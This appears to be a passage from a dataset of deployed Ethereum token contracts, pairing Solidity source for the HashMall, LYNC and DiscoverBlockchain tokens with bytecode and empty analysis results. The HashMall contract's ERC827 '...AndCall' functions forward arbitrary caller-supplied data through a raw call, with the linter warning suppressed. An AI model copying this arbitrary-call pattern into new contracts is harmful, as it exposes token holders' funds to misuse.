_from The address which you want to send tokens from * @param _to The address which you want to transfer to * @param _value The amout of tokens to be transferred * @param _data ABI-encoded contract call to call `_to` address. * * @return true if the call function was executed successfully */ function transferFromAndCall( address _from, address _to, uint256 _value, bytes _data ) public payable returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); // solium-disable-next-line security/no-call-value require(_to.call.value(msg.value)(_data)); return true; } /** * @dev Addition to StandardToken methods. Increase the amount of tokens that * @dev an owner allowed to a spender and execute a call with the sent data. * * @dev approve should be called when allowed[_spender] == 0. To increment * @dev allowed value is better to use this function to avoid 2 calls (and wait until * @dev the first transaction is mined) * @dev From MonolithDAO Token.sol * * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function increaseApprovalAndCall( address _spender, uint _addedValue, bytes _data ) public payable returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); // solium-disable-next-line security/no-call-value require(_spender.call.value(msg.value)(_data)); return true; } /** * @dev Addition to StandardToken methods. Decrease the amount of tokens that * @dev an owner allowed to a spender and execute a call with the sent data. * * @dev approve should be called when allowed[_spender] == 0. To decrement * @dev allowed value is better to use this function to avoid 2 calls (and wait until * @dev the first transaction is mined) * @dev From MonolithDAO Token.sol * * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function decreaseApprovalAndCall( address _spender, uint _subtractedValue, bytes _data ) public payable returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); // solium-disable-next-line security/no-call-value require(_spender.call.value(msg.value)(_data)); return true; } } contract HashMallToken is ERC827Token { using SafeMath for uint256; string public name = "HashMall Token"; string public symbol = "HMT"; uint public decimals = 18; address public wallet = 0xF685Fd097525a3b34cCB17BCcF0bDAD8ABf4A59b; // constructor () public { totalSupply_ = 100 * 100000000 * 10 ** decimals; balances[wallet] = totalSupply_; } /** * Do not allow direct deposits. */ function() public{ revert(); } }
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610102578063095ea7b31461018c57806318160ddd146101c457806323b872dd146101eb578063313ce567146102155780634000aea01461022a578063521eb2731461028657806366188463146102b757806370a08231146102db57806390db623f146102fc57806395d89b4114610358578063a9059cbb1461036d578063c1d34b8914610391578063cae9ca51146103f3578063cb3993be1461044f578063d73dd623146104ab578063dd62ed3e146104cf575b3480156100fc57600080fd5b50600080fd5b34801561010e57600080fd5b506101176104f6565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610151578181015183820152602001610139565b50505050905090810190601f16801561017e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019857600080fd5b506101b0600160a060020a0360043516602435610584565b604080519115158252519081900360200190f35b3480156101d057600080fd5b506101d96105ea565b60408051918252519081900360200190f35b3480156101f757600080fd5b506101b0600160a060020a03600435811690602435166044356105f0565b34801561022157600080fd5b506101d9610767565b604080516020600460443581810135601f81018490048402850184019095528484526101b0948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061076d9650505050505050565b34801561029257600080fd5b5061029b61081d565b60408051600160a060020a039092168252519081900360200190f35b3480156102c357600080fd5b506101b0600160a060020a036004351660243561082c565b3480156102e757600080fd5b506101d9600160a060020a036004351661091c565b604080516020600460443581810135601f81018490048402850184019095528484526101b0948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506109379650505050505050565b34801561036457600080fd5b50610117610959565b34801561037957600080fd5b506101b0600160a060020a03600435166024356109b4565b604080516020601f6064356004818101359283018490048402850184019095528184526101b094600160a060020a038135811695602480359092169560443595369560849401918190840183828082843750949750610a959650505050505050565b604080516020600460443581810135601f81018490048402850184019095528484526101b0948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610b479650505050505050565b604080516020600460443581810135601f81018490048402850184019095528484526101b0948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610b699650505050505050565b3480156104b757600080fd5b506101b0600160a060020a0360043516602435610b8b565b3480156104db57600080fd5b506101d9600160a060020a0360043581169060243516610c24565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561060757600080fd5b600160a060020a03841660009081526020819052604090205482111561062c57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561065c57600080fd5b600160a060020a038416600090815260208190526040902054610685908363ffffffff610c4f16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546106ba908363ffffffff610c6116565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546106fc908363ffffffff610c4f16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60055481565b6000600160a060020a03841630141561078557600080fd5b61078f84846109b4565b5083600160a060020a0316348360405180828051906020019080838360005b838110156107c65781810151838201526020016107ae565b50505050905090810190601f1680156107f35780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af192505050151561081357600080fd5b5060019392505050565b600654600160a060020a031681565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561088157336000908152600260209081526040808320600160a060020a03881684529091528120556108b6565b610891818463ffffffff610c4f16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6000600160a060020a03841630141561094f57600080fd5b61078f8484610b8b565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561057c5780601f106105515761010080835404028352916020019161057c565b6000600160a060020a03831615156109cb57600080fd5b336000908152602081905260409020548211156109e757600080fd5b33600090815260208190526040902054610a07908363ffffffff610c4f16565b3360009081526020819052604080822092909255600160a060020a03851681522054610a39908363ffffffff610c6116565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000600160a060020a038416301415610aad57600080fd5b610ab88585856105f0565b5083600160a060020a0316348360405180828051906020019080838360005b83811015610aef578181015183820152602001610ad7565b50505050905090810190601f168015610b1c5780820380516001836020036101000a031916815260200191505b5091505060006040518083038185875af1925050501515610b3c57600080fd5b506001949350505050565b6000600160a060020a038416301415610b5f57600080fd5b61078f8484610584565b6000600160a060020a038416301415610b8157600080fd5b61078f848461082c565b336000908152600260209081526040808320600160a060020a0386168452909152812054610bbf908363ffffffff610c6116565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600082821115610c5b57fe5b50900390565b81810182811015610c6e57fe5b929150505600a165627a7a723058204805daba398306aaeaa40d4a537991ff4f40a795ca17452d45f825d696e96aa80029
{"success": true, "error": null, "results": {}}
3,173
0x7b49bc65df4118e334860767ff26a1ece6fcaa02
pragma solidity 0.7.4; contract LYNCToken { //Enable SafeMath using SafeMath for uint256; //Token details string constant public name = "LYNC Network"; string constant public symbol = "LYNC"; uint8 constant public decimals = 18; //Reward pool and owner address address public owner; address public rewardPoolAddress; //Supply and tranasction fee uint256 public maxTokenSupply = 1e24; // 1,000,000 tokens uint256 public feePercent = 1; // initial transaction fee percentage uint256 public feePercentMax = 10; // maximum transaction fee percentage //Events event Transfer(address indexed _from, address indexed _to, uint256 _tokens); event Approval(address indexed _owner,address indexed _spender, uint256 _tokens); event TranserFee(uint256 _tokens); event UpdateFee(uint256 _fee); event RewardPoolUpdated(address indexed _rewardPoolAddress, address indexed _newRewardPoolAddress); event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); event OwnershipRenounced(address indexed _previousOwner, address indexed _newOwner); //Mappings mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) private allowances; //On deployment constructor () { owner = msg.sender; rewardPoolAddress = address(this); balanceOf[msg.sender] = maxTokenSupply; emit Transfer(address(0), msg.sender, maxTokenSupply); } //ERC20 totalSupply function totalSupply() public view returns (uint256) { return maxTokenSupply; } //ERC20 transfer function transfer(address _to, uint256 _tokens) public returns (bool) { transferWithFee(msg.sender, _to, _tokens); return true; } //ERC20 transferFrom function transferFrom(address _from, address _to, uint256 _tokens) public returns (bool) { require(_tokens <= balanceOf[_from], "Not enough tokens in the approved address balance"); require(_tokens <= allowances[_from][msg.sender], "token amount is larger than the current allowance"); transferWithFee(_from, _to, _tokens); allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_tokens); return true; } //ERC20 approve function approve(address _spender, uint256 _tokens) public returns (bool) { allowances[msg.sender][_spender] = _tokens; emit Approval(msg.sender, _spender, _tokens); return true; } //ERC20 allowance function allowance(address _owner, address _spender) public view returns (uint256) { return allowances[_owner][_spender]; } //Transfer with transaction fee applied function transferWithFee(address _from, address _to, uint256 _tokens) internal returns (bool) { require(balanceOf[_from] >= _tokens, "Not enough tokens in the senders balance"); uint256 _feeAmount = (_tokens.mul(feePercent)).div(100); balanceOf[_from] = balanceOf[_from].sub(_tokens); balanceOf[_to] = balanceOf[_to].add(_tokens.sub(_feeAmount)); balanceOf[rewardPoolAddress] = balanceOf[rewardPoolAddress].add(_feeAmount); emit Transfer(_from, _to, _tokens.sub(_feeAmount)); emit Transfer(_from, rewardPoolAddress, _feeAmount); emit TranserFee(_tokens); return true; } //Update transaction fee percentage function updateFee(uint256 _updateFee) public onlyOwner { require(_updateFee <= feePercentMax, "Transaction fee cannot be greater than 10%"); feePercent = _updateFee; emit UpdateFee(_updateFee); } //Update the reward pool address function updateRewardPool(address _newRewardPoolAddress) public onlyOwner { require(_newRewardPoolAddress != address(0), "New reward pool address cannot be a zero address"); rewardPoolAddress = _newRewardPoolAddress; emit RewardPoolUpdated(rewardPoolAddress, _newRewardPoolAddress); } //Transfer current token balance to the reward pool address function rewardPoolBalanceTransfer() public onlyOwner returns (bool) { uint256 _currentBalance = balanceOf[address(this)]; transferWithFee(address(this), rewardPoolAddress, _currentBalance); return true; } //Transfer ownership to new owner function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0), "New owner cannot be a zero address"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } //Remove owner from the contract function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner, address(0)); owner = address(0); } //Modifiers modifier onlyOwner() { require(owner == msg.sender, "Only current owner can call this function"); _; } } contract LYNCTokenLock { //Enable SafeMath using SafeMath for uint256; address public owner; address public contractAddress; uint256 public oneDay = 86400; // in seconds uint256 public currentLockTimer; // in seconds LYNCToken public tokenContract; //Events event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); event OwnershipRenounced(address indexed _previousOwner, address indexed _newOwner); //On deployment constructor(LYNCToken _tokenContract) { owner = msg.sender; tokenContract = _tokenContract; contractAddress = address(this); currentLockTimer = block.timestamp; } //Withdraw tokens function withdrawTokens(uint256 _numberOfTokens) public onlyOwner { require(block.timestamp > currentLockTimer, "Tokens are currently locked even to the contract admin"); require(tokenContract.transfer(msg.sender, _numberOfTokens)); } //Increase lock duration in days function increaseLock(uint256 _numberOfDays) public onlyOwner { uint256 _increaseLockDays = _numberOfDays.mul(oneDay); currentLockTimer = currentLockTimer.add(_increaseLockDays); } //Transfer ownership to new owner function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0), "New owner cannot be a zero address"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } //Remove owner from the contract function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner, address(0)); owner = address(0); } //Modifiers modifier onlyOwner() { require(owner == msg.sender, "Only current owner can call this function"); _; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063715018a611610066578063715018a6146101465780638da5cb5b14610150578063c14f909114610184578063f2fde38b146101a2578063f6b4dfb4146101e657610093565b80631c5a091414610098578063315a095d146100c65780634bd9351b146100f457806355a373d614610112575b600080fd5b6100c4600480360360208110156100ae57600080fd5b810190808035906020019092919050505061021a565b005b6100f2600480360360208110156100dc57600080fd5b81019080803590602001909291905050506102f6565b005b6100fc6104ce565b6040518082815260200191505060405180910390f35b61011a6104d4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61014e6104fa565b005b61015861065c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61018c610680565b6040518082815260200191505060405180910390f35b6101e4600480360360208110156101b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610686565b005b6101ee61086d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146102be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806109a26029913960400191505060405180910390fd5b60006102d56002548361089390919063ffffffff16565b90506102ec8160035461091990919063ffffffff16565b6003819055505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461039a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806109a26029913960400191505060405180910390fd5b60035442116103f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806109ec6036913960400191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561048757600080fd5b505af115801561049b573d6000803e3d6000fd5b505050506040513d60208110156104b157600080fd5b81019080805190602001909291905050506104cb57600080fd5b50565b60025481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806109a26029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb48f42c7a4b7d66b43c8fccc1aafdac7c8ca6d024c15bb1d427d547f0002438060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806109a26029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156107b0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610a226022913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808314156108a65760009050610913565b60008284029050828482816108b757fe5b041461090e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806109cb6021913960400191505060405180910390fd5b809150505b92915050565b600080828401905083811015610997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe4f6e6c792063757272656e74206f776e65722063616e2063616c6c20746869732066756e6374696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e73206172652063757272656e746c79206c6f636b6564206576656e20746f2074686520636f6e74726163742061646d696e4e6577206f776e65722063616e6e6f742062652061207a65726f2061646472657373a2646970667358221220ca43cef6aca489cb0ba04f863562b9980a49222870fa4aa93c2812b11830de9f64736f6c63430007040033
{"success": true, "error": null, "results": {}}
3,174
0xb2720062356af177ea53a8bf2bd472d490d71cd1
pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title DiscoverBlockchainToken * @author Aleksandar Djordjevic * @dev DiscoverBlockchainToken is ERC20 Ownable, BurnableToken & StandardToken * It is meant to be used in a DiscoverBlockchain Crowdsale contract */ contract DiscoverBlockchainToken is Ownable, BurnableToken, StandardToken { string public constant name = 'DiscoverBlockchain Token'; // DSC name string public constant symbol = 'DSC'; // DSC symbol uint8 public constant decimals = 18; // DSC decimal number uint256 public constant TOTAL_SUPPLY = 500000000 * (10 ** uint256(decimals)); // total amount of all DSC tokens - 500 000 000 DSC /** * @dev DiscoverBlockchainToken constructor * Sets total supply and assigns total supply to the owner */ constructor() public { totalSupply_ = TOTAL_SUPPLY; // set total amount of tokens balances[owner] = TOTAL_SUPPLY; // transfer all tokens to smart contract owner emit Transfer(address(0), owner, totalSupply_); // emit Transfer event and notify that transfer of tokens was made } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101ac57806323b872dd146101d3578063313ce567146101fd57806342966c6814610228578063661884631461024257806370a0823114610266578063715018a6146102875780638da5cb5b1461029c578063902d55a5146102cd57806395d89b41146102e2578063a9059cbb146102f7578063d73dd6231461031b578063dd62ed3e1461033f578063f2fde38b14610366575b600080fd5b3480156100f657600080fd5b506100ff610387565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a03600435166024356103be565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c1610424565b60408051918252519081900360200190f35b3480156101df57600080fd5b50610198600160a060020a036004358116906024351660443561042a565b34801561020957600080fd5b506102126105a3565b6040805160ff9092168252519081900360200190f35b34801561023457600080fd5b506102406004356105a8565b005b34801561024e57600080fd5b50610198600160a060020a03600435166024356105b5565b34801561027257600080fd5b506101c1600160a060020a03600435166106a5565b34801561029357600080fd5b506102406106c0565b3480156102a857600080fd5b506102b161072c565b60408051600160a060020a039092168252519081900360200190f35b3480156102d957600080fd5b506101c161073b565b3480156102ee57600080fd5b506100ff61074b565b34801561030357600080fd5b50610198600160a060020a0360043516602435610782565b34801561032757600080fd5b50610198600160a060020a0360043516602435610865565b34801561034b57600080fd5b506101c1600160a060020a03600435811690602435166108fe565b34801561037257600080fd5b50610240600160a060020a0360043516610929565b60408051808201909152601881527f446973636f766572426c6f636b636861696e20546f6b656e0000000000000000602082015281565b336000818152600360209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b6000600160a060020a038316151561044157600080fd5b600160a060020a03841660009081526001602052604090205482111561046657600080fd5b600160a060020a038416600090815260036020908152604080832033845290915290205482111561049657600080fd5b600160a060020a0384166000908152600160205260409020546104bf908363ffffffff61094916565b600160a060020a0380861660009081526001602052604080822093909355908516815220546104f4908363ffffffff61095b16565b600160a060020a038085166000908152600160209081526040808320949094559187168152600382528281203382529091522054610538908363ffffffff61094916565b600160a060020a038086166000818152600360209081526040808320338452825291829020949094558051868152